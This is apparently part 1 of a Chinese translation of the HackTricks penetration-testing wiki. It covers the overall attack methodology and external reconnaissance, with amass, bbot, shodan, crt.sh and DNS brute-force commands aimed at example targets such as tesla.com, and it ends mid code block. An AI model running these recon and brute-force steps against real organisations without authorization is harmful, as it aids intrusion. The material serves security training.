> This is part 1 of 8 of the full documentation (pages 1–100 of 766).
> The content is paginated: fetch every part to see all of it.
> Next part: https://hacktricks.xsx.tw/llms-full.txt/1
> Page index: https://hacktricks.xsx.tw/llms.txt

# HackTricks

博客：https\://www\.xsx.tw/

XSS平台：<https://xsx.me>

Telegram：<https://t.me/xsxtw>


# Pentesting Methodology

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书面和口头表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

## 渗透测试方法论

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b157a6f39db705305ef066bcb29fb6d7fb972e9f%2FHACKTRICKS-logo.svg?alt=media" alt=""><figcaption></figcaption></figure>

*Hacktricks的标志由* [*@ppiernacho*](https://www.instagram.com/ppieranacho/)*设计。*

### 0- 物理攻击

您是否可以**物理访问**要攻击的机器？您应该阅读一些关于[**物理攻击的技巧**](/hardware-physical-access/physical-attacks)以及关于[**从GUI应用程序中逃逸**](/hardware-physical-access/escaping-from-gui-applications)的其他技巧。

### 1 - [发现网络内的主机](/generic-methodologies-and-resources/pentesting-network#discovering-hosts)/ [发现公司资产](/generic-methodologies-and-resources/external-recon-methodology)

**取决于**您正在执行的**测试**是**内部测试**还是**外部测试**，您可能有兴趣查找公司网络内的主机（内部测试）或在互联网上查找公司的资产（外部测试）。

{% hint style="info" %}
请注意，如果您正在执行外部测试，一旦成功访问公司内部网络，您应重新开始本指南。
{% endhint %}

### **2-** [**与网络玩耍**](/generic-methodologies-and-resources/pentesting-network) **（内部）**

**此部分仅适用于执行内部测试。**\
在攻击主机之前，您可能更喜欢从网络中**窃取一些凭据**或**嗅探**一些**数据**以 passively/actively(MitM) 了解网络内部可以找到什么。您可以阅读[**渗透测试网络**](/generic-methodologies-and-resources/pentesting-network#sniffing)。

### 3- [端口扫描 - 服务发现](/generic-methodologies-and-resources/pentesting-network#scanning-hosts)

在**查找主机漏洞**时，首先要做的是了解哪些端口中运行了哪些服务。让我们看看[**扫描主机端口的基本工具**](/generic-methodologies-and-resources/pentesting-network#scanning-hosts)。

### **4-** [搜索服务版本漏洞](/generic-methodologies-and-resources/search-exploits)

一旦您知道哪些服务正在运行，也许知道它们的版本，您必须**搜索已知漏洞**。也许您很幸运，有一个漏洞可以为您提供一个 shell...

### **5-** 渗透测试服务

如果没有任何正在运行服务的花哨漏洞利用，您应该查找每个正在运行服务中的**常见配置错误**。

**在本书中，您将找到渗透测试最常见服务的指南**（以及其他不太常见的服务）**。请在左侧索引中搜索** ***渗透测试*** **部分**（服务按其默认端口排序）。

**我想特别提一下** [**渗透测试Web**](/network-services-pentesting/pentesting-web) **部分（因为它是最广泛的部分）。**\
此外，您可以在这里找到一个关于[**查找软件中已知漏洞的小指南**](/generic-methodologies-and-resources/search-exploits)。

**如果您的服务不在索引中，请在Google中搜索**其他教程，并告诉我是否要添加它。如果您在Google中**找不到任何内容**，请执行您自己的盲目渗透测试，您可以从**连接到服务，对其进行模糊处理并阅读响应**（如果有）开始。

#### 5.1 自动工具

还有一些工具可以执行**自动漏洞评估**。**我建议您尝试** [**Legion**](https://github.com/carlospolop/legion)**，这是我创建的基于本书中关于渗透测试服务的笔记的工具。**

#### **5.2 对服务进行暴力破解**

在某些情况下，**暴力破解**可能对**破坏**一个**服务**有用。[**在这里找到不同服务暴力破解的速查表**](/generic-methodologies-and-resources/brute-force)**。**

### 6- [钓鱼](/generic-methodologies-and-resources/phishing-methodology)

如果到目前为止您没有找到任何有趣的漏洞，您**可能需要尝试一些钓鱼**以便进入网络。您可以阅读我的钓鱼方法论[这里](/generic-methodologies-and-resources/phishing-methodology)：

### **7-** [**获取Shell**](/generic-methodologies-and-resources/shells)

某种程度上，您应该已经找到了在受害者中执行代码的**某种方法**。然后，[您可以使用系统中可能的工具列表来获取反向 shell](/generic-methodologies-and-resources/shells)。

特别是在Windows中，您可能需要一些帮助来**避开防病毒软件**：[**查看此页面**](/windows-hardening/av-bypass)**。**\\

### 8- 内部

如果您在 shell 方面遇到问题，您可以在这里找到一些对渗透测试人员非常有用的**最常用命令的小编译**：

* [**Linux**](/linux-hardening/useful-linux-commands)
* [**Windows（CMD）**](/windows-hardening/basic-cmd-for-pentesters)
* [**Windows（PS）**](/windows-hardening/basic-powershell-for-pentesters)

### **9 -** [**数据外泄**](/generic-methodologies-and-resources/exfiltration)

您可能需要从受害者那里**提取一些数据**，甚至**引入一些东西**（如权限提升脚本）。**在这里，您可以找到** [**用于这些目的的常用工具的帖子**](/generic-methodologies-and-resources/exfiltration)**。**

### **10- 提权**

#### **10.1- 本地提权**

如果您在系统中**不是root/Administrator**，您应该找到一种方法来**提升权限。**\
在这里，您可以找到有关如何在[**Linux**](/linux-hardening/privilege-escalation) **和** [**Windows**](/windows-hardening/windows-local-privilege-escalation) **本地提升权限的指南。**\
您还应该查看有关**Windows工作原理**的页面：

* [**身份验证、凭据、令牌权限和UAC**](/windows-hardening/authentication-credentials-uac-and-efs)
* [**NTLM的工作原理**](/windows-hardening/ntlm)
* 如何[**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 在Windows中
* 有关[***Active Directory***](/windows-hardening/active-directory-methodology)的一些技巧

**不要忘记查看用于枚举Windows和Linux本地提权路径的最佳工具：** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)

#### **10.2- 域提权**

在这里，您可以找到一种[**解释最常见操作的方法论，用于枚举、提升权限和在Active Directory上保持持久性**](/windows-hardening/active-directory-methodology)。即使这只是一个部分，这个过程在渗透测试/红队任务中可能会**非常敏感**。

### 11 - POST

#### **11**.1 - 掠夺

检查您是否可以在主机内找到更多**密码**，或者是否可以使用您的**用户**权限**访问其他机器**。\
在这里找到在[**Windows中转储密码的不同方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。

#### 11.2 - 持久性

**使用2到3种不同类型的持久性机制，这样您就不需要再次利用系统。**\
**在这里，您可以找到一些**[**关于Active Directory持久性技巧**](/windows-hardening/active-directory-methodology#persistence)**。**

TODO: 在Windows和Linux中完成持久性Post

### 12 - 枢纽

利用**收集到的凭据**，您可以访问其他机器，或者您可能需要**发现和扫描新主机**（重新开始渗透测试方法论），这些主机位于您的受害者连接的新网络中。\
在这种情况下，可能需要进行隧道设置。在这里，您可以找到有关[**隧道设置的文章**](/generic-methodologies-and-resources/tunneling-and-port-forwarding)。\
您绝对还应该查看有关[Active Directory渗透测试方法论](/windows-hardening/active-directory-methodology)的文章。在那里，您将找到移动横向、提升权限和转储凭据的有趣技巧。\
还要查看有关[**NTLM**](/windows-hardening/ntlm)的页面，这可能对在Windows环境中进行枢纽操作非常有用。

### 更多

#### [Android应用程序](/mobile-pentesting/android-app-pentesting)

#### **利用**

* [**基本Linux利用**](https://github.com/xsxtw/hacktricks/blob/cn/binary-exploitation/linux-exploiting-basic-esp.md)
* [**基本Windows利用**](/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl)
* [**基本利用工具**](/binary-exploitation/basic-binary-exploitation-methodology/tools)

#### [**基本Python**](/generic-methodologies-and-resources/python)

#### **加密技巧**

* [**ECB**](/crypto-and-stego/electronic-code-book-ecb)
* [**CBC-MAC**](/crypto-and-stego/cipher-block-chaining-cbc-mac-priv)
* [**填充Oracle**](/crypto-and-stego/padding-oracle-priv)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要攻击无法攻击的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# External Recon Methodology

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书面和口头表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

## 资产发现

> 所以你被告知某家公司的所有内容都在范围内，你想弄清楚这家公司实际拥有什么。

这个阶段的目标是获取所有**主公司拥有的公司**，然后获取这些公司的**资产**。为此，我们将：

1. 查找主公司的收购情况，这将为我们提供范围内的公司。
2. 查找每家公司的**ASN**（如果有），这将为我们提供每家公司拥有的IP范围。
3. 使用反向whois查找来搜索与第一家公司相关的其他条目（组织名称、域名...）（这可以递归进行）。
4. 使用其他技术，如shodan的`org`和`ssl`过滤器来搜索其他资产（`ssl`技巧可以递归进行）。

### **收购**

首先，我们需要知道主公司拥有哪些**其他公司**。\
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索**主公司，并点击“**收购**”。在那里，您将看到主公司收购的其他公司。\
另一个选项是访问主公司的**维基百科**页面并搜索**收购**。

> 好的，在这一点上，您应该知道所有在范围内的公司。让我们弄清楚如何找到它们的资产。

### **ASNs**

自治系统号（**ASN**）是由**互联网编号分配机构（IANA）分配给自治系统**（AS）的**唯一编号**。\
一个**AS**由**IP地址块**组成，这些IP地址块具有明确定义的访问外部网络的策略，并由单个组织管理，但可能由多个运营商组成。

找出公司是否分配了任何**ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**执行**漏洞测试**并查找这些IP内的域名是很有趣的。\
您可以在[**https://bgp.he.net/**](https://bgp.he.net)中通过公司**名称**、**IP**或**域名**进行搜索。\
**根据公司所在地区，这些链接可能有助于收集更多数据：** [**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，第一个链接中可能已经包含所有**有用信息\*\*（IP范围和Whois）。

```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```

此外，[**BBOT**](https://github.com/blacklanternsecurity/bbot)**的**子域枚举会自动在扫描结束时汇总和总结ASNs。

```bash
bbot -t tesla.com -f subdomain-enum
...
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
[INFO] bbot.modules.asn: | AS394161 | 8.244.131.0/24      | 5            | TESLA          | Tesla Motors, Inc.         | US        |
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
[INFO] bbot.modules.asn: | AS16509  | 54.148.0.0/15       | 4            | AMAZON-02      | Amazon.com, Inc.           | US        |
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
[INFO] bbot.modules.asn: | AS394161 | 8.45.124.0/24       | 3            | TESLA          | Tesla Motors, Inc.         | US        |
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
[INFO] bbot.modules.asn: | AS3356   | 8.32.0.0/12         | 1            | LEVEL3         | Level 3 Parent, LLC        | US        |
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
[INFO] bbot.modules.asn: | AS3356   | 8.0.0.0/9           | 1            | LEVEL3         | Level 3 Parent, LLC        | US        |
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+

```

您还可以使用[http://asnlookup.com/](http://asnlookup.com)（它有免费API）查找组织的IP范围。\
您可以使用[http://ipv4info.com/](http://ipv4info.com)查找域的IP和ASN。

### **寻找漏洞**

此时，我们已经知道**范围内的所有资产**，如果允许，您可以对所有主机启动一些**漏洞扫描器**（Nessus，OpenVAS）。\
此外，您可以启动一些[**端口扫描**](/generic-methodologies-and-resources/pentesting-network#discovering-hosts-from-the-outside) **或使用服务如** shodan **来查找**开放端口\*\*，根据您找到的内容，您应该**查看本书以了解如何对运行的多种可能服务进行渗透测试**。\
**另外，值得一提的是，您还可以准备一些**默认用户名**和**密码**列表，并尝试使用**[**https://github.com/x90skysn3k/brutespray**](https://github.com/x90skysn3k/brutespray)**对服务进行**暴力破解\*\*。

## 域名

> 我们知道范围内的所有公司及其资产，现在是时候找出范围内的域名了。

*请注意，在以下提出的技术中，您还可以找到子域，这些信息不应被低估。*

首先，您应该查找每家公司的**主域名**。例如，对于 *特斯拉公司*，主域名将是 *tesla.com*。

### **反向DNS**

当您找到所有域的IP范围时，您可以尝试对这些IP执行**反向DNS查找**，以找到范围内的更多域。尝试使用受害者的某些DNS服务器或一些知名DNS服务器（1.1.1.1，8.8.8.8）。

```bash
dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```

### **反向 Whois（循环）**

在 **whois** 中，您可以找到许多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码... 但更有趣的是，如果您通过这些字段之一执行 **反向 whois 查找**，您可以找到与该公司相关的 **更多资产**。\
您可以使用在线工具，如：

* <https://viewdns.info/reversewhois/> - **免费**
* <https://domaineye.com/reverse-whois> - **免费**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
* [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网页，不免费 API。
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
* <https://drs.whoisxmlapi.com/reverse-whois-search> - 不免费（仅 **100 次免费** 搜索）
* [https://www.domainiq.com/](https://www.domainiq.com) - 不免费

您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink)来自动化此任务（需要 whoxy API 密钥）。\
您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现：`amass intel -d tesla.com -whois`

**请注意，您可以使用此技术在每次发现新域时发现更多域名。**

### **跟踪器**

如果在 2 个不同页面中找到 **相同跟踪器的相同 ID**，则可以假设 **两个页面** 都由 **同一团队管理**。\
例如，如果您在几个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。

有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索：

* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
* [**Sitesleuth**](https://www.sitesleuth.io)
* [**Publicwww**](https://publicwww.com)
* [**SpyOnWeb**](http://spyonweb.com)

### **Favicon**

您知道我们可以通过查找相同的 favicon 图标哈希来找到与我们的目标相关的域和子域吗？这正是 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具所做的。以下是如何使用它：

```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```

![favihash - 发现具有相同favicon图标哈希的域](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)

简而言之，favihash 将允许我们发现具有与我们目标相同的 favicon 图标哈希的域。

此外，您还可以使用 favicon 哈希搜索技术，如[**此博文**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)中所述。这意味着，如果您知道 web 技术中易受攻击版本的 favicon 的哈希，您可以在 shodan 中搜索，**找到更多易受攻击的地方**：

```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```

这是如何计算网站的**favicon哈希值**：

```python
import mmh3
import requests
import codecs

def fav_hash(url):
response = requests.get(url)
favicon = codecs.encode(response.content,"base64")
fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```

### **版权 / 唯一字符串**

在网页中搜索**可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在**Google**、其他**浏览器**甚至**Shodan**中搜索该字符串：`shodan search http.html:"Copyright string"`

### **CRT 时间**

通常会有一个类似于cron job的任务

```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```

### 更新服务器上的所有域证书。这意味着即使用于此操作的 CA 在有效期内未设置生成时间，也可以**在证书透明度日志中找到属于同一公司的域**。\\

查看这个[**文章以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。

### 电子邮件 DMARC 信息

您可以使用网站，例如<https://dmarc.live/info/google.com>，或者使用工具，例如<https://github.com/Tedixx/dmarc-subdomains>来查找**共享相同 dmarc 信息的域和子域**。

### **被动接管**

人们通常会将子域分配给属于云提供商的 IP 地址，然后在某个时候**失去该 IP 地址但忘记删除 DNS 记录**。因此，只需在云中（如 Digital Ocean）**生成一个虚拟机**，您实际上将**接管一些子域**。

[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了这个情况，并提出了一个**在 DigitalOcean 中生成虚拟机**，**获取**新机器的**IPv4**，然后在 Virustotal 中搜索指向它的子域记录的脚本。

### **其他方法**

**请注意，您可以使用此技术每次发现新域时发现更多域名。**

**Shodan**

由于您已经知道拥有 IP 空间的组织的名称，您可以在 shodan 中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机，查看 TLS 证书中的新意外域。

您可以访问主网页的**TLS 证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS 证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"`，或者使用类似[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)的工具。

**Assetfinder**

[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**和它们的**子域**的工具，非常惊人。

### **寻找漏洞**

查找一些[域接管](/pentesting-web/domain-subdomain-takeover#domain-takeover)。也许某些公司**正在使用某个域**，但他们**失去了所有权**。只需注册它（如果足够便宜），然后通知该公司。

如果您发现任何**具有不同 IP 的域**，则应执行**基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些[**端口扫描**](/generic-methodologies-and-resources/pentesting-network#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据正在运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
*请注意，有时域托管在客户无法控制的 IP 内，因此不在范围内，请小心。*

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**漏洞赏金提示**：**注册** Intigriti，这是一家由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

## 子域

> 我们知道范围内的所有公司，每家公司的所有资产以及与公司相关的所有域。

现在是时候找到每个找到的域的所有可能子域了。

{% hint style="success" %}
请注意，一些查找域的工具和技术也可以帮助查找子域！
{% endhint %}

### **DNS**

让我们尝试从**DNS**记录中获取**子域**。我们还应尝试进行**区域传送**（如果存在漏洞，应该报告）。

```bash
dnsrecon -a -d tesla.com
```

### **OSINT**

获取大量子域的最快方法是在外部来源中搜索。最常用的**工具**如下（为了获得更好的结果，请配置API密钥）：

* [**BBOT**](https://github.com/blacklanternsecurity/bbot)

```bash
# subdomains
bbot -t tesla.com -f subdomain-enum

# subdomains (passive only)
bbot -t tesla.com -f subdomain-enum -rf passive

# subdomains + port scan + web screenshots
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
```

* [**Amass**](https://github.com/OWASP/Amass)

```bash
amass enum [-active] [-ip] -d tesla.com
amass enum -d tesla.com | grep tesla.com # To just list subdomains
```

* [**subfinder**](https://github.com/projectdiscovery/subfinder)

```bash
# Subfinder, use -silent to only have subdomains in the output
./subfinder-linux-amd64 -d tesla.com [-silent]
```

* [**findomain**](https://github.com/Edu4rdSHL/findomain/)

```bash
# findomain, use -silent to only have subdomains in the output
./findomain-linux -t tesla.com [--quiet]
```

* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)

```bash
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
```

* [**assetfinder**](https://github.com/tomnomnom/assetfinder)

```bash
assetfinder --subs-only <domain>
```

* [**Sudomy**](https://github.com/Screetsec/Sudomy)

```bash
# It requires that you create a sudomy.api file with API keys
sudomy -d tesla.com
```

* [**vita**](https://github.com/junnlikestea/vita)

```
vita -d tesla.com
```

* [**theHarvester**](https://github.com/laramies/theHarvester)

```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```

有**其他有趣的工具/API**，即使不是直接专门用于查找子域的，也可以用来查找子域，比如：

* [**Crobat**](https://github.com/cgboal/sonarsearch)**：** 使用API <https://sonar.omnisint.io> 来获取子域

```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```

* [**JLDC免费API**](https://jldc.me/anubis/subdomains/google.com)

```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```

* [**RapidDNS**](https://rapiddns.io) 免费API

```bash
# Get Domains from rapiddns free API
rapiddns(){
curl -s "https://rapiddns.io/subdomain/$1?full=1" \
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
| sort -u
}
rapiddns tesla.com
```

* [**https://crt.sh/**](https://crt.sh)

```bash
# Get Domains from crt free API
crt(){
curl -s "https://crt.sh/?q=%25.$1" \
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
| sort -u
}
crt tesla.com
```

* [**gau**](https://github.com/lc/gau)**:** 从AlienVault的Open Threat Exchange，Wayback Machine和Common Crawl中获取给定域的已知URL。

```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```

* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 它们会在网络上进行爬取，寻找JS文件并从中提取子域。

```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com

# Get only subdomains from subscraper, this already perform recursion over the found results
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
```

* [**Shodan**](https://www.shodan.io/)

```bash
# Get info about the domain
shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```

* [**Censys子域名查找工具**](https://github.com/christophetd/censys-subdomain-finder)

```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
python3 censys-subdomain-finder.py tesla.com
```

* [**DomainTrail.py**](https://github.com/gatete/DomainTrail)

```bash
python3 DomainTrail.py -d example.com
```

* [**securitytrails.com**](https://securitytrails.com/) 提供免费 API 用于搜索子域和 IP 历史记录
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)

该项目免费提供与赏金计划相关的所有子域。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据，甚至访问该项目使用的范围 <https://github.com/projectdiscovery/chaos-public-program-list>

您可以在这里找到许多这些工具的**比较**：<https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off>

### **DNS 暴力破解**

让我们尝试使用可能的子域名来暴力破解 DNS 服务器以查找新的**子域**。

对于此操作，您将需要一些**常见的子域名单词列表，例如**：

* <https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056>
* <https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt>
* <https://localdomain.pw/subdomain-bruteforce-list/all.txt.zip>
* <https://github.com/pentester-io/commonspeak>
* <https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS>

还需要良好 DNS 解析器的 IP 地址。为了生成可信 DNS 解析器列表，您可以从 <https://public-dns.info/nameservers-all.txt> 下载解析器并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行筛选。或者您可以使用：<https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt>

DNS 暴力破解最推荐的工具有：

* [**massdns**](https://github.com/blechschmidt/massdns)：这是第一个执行有效 DNS 暴力破解的工具。它非常快，但容易产生误报。

```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```

* [**gobuster**](https://github.com/OJ/gobuster): 我认为这个工具只使用了一个解析器

```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```

* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 编写的 go 语言封装工具，允许您使用主动暴力破解枚举有效子域名，同时解析具有通配符处理和简单输入输出支持的子域名。

```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```

* [**puredns**](https://github.com/d3mondev/puredns): 它也使用 `massdns`。

```
puredns bruteforce all.txt domain.com
```

* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步地暴力破解域名。

```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```

### 第二轮DNS暴力破解

在利用公开资源和暴力破解找到子域之后，您可以生成子域的变体，以尝试找到更多信息。有几种工具可用于此目的：

* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**：** 给定域和子域生成排列组合。

```bash
cat subdomains.txt | dnsgen -
```

* [**goaltdns**](https://github.com/subfinder/goaltdns): 给定域名和子域名生成排列组合。
* 您可以在[**这里**](https://github.com/subfinder/goaltdns/blob/master/words.txt)获取 goaltdns 排列组合**词表**。

```bash
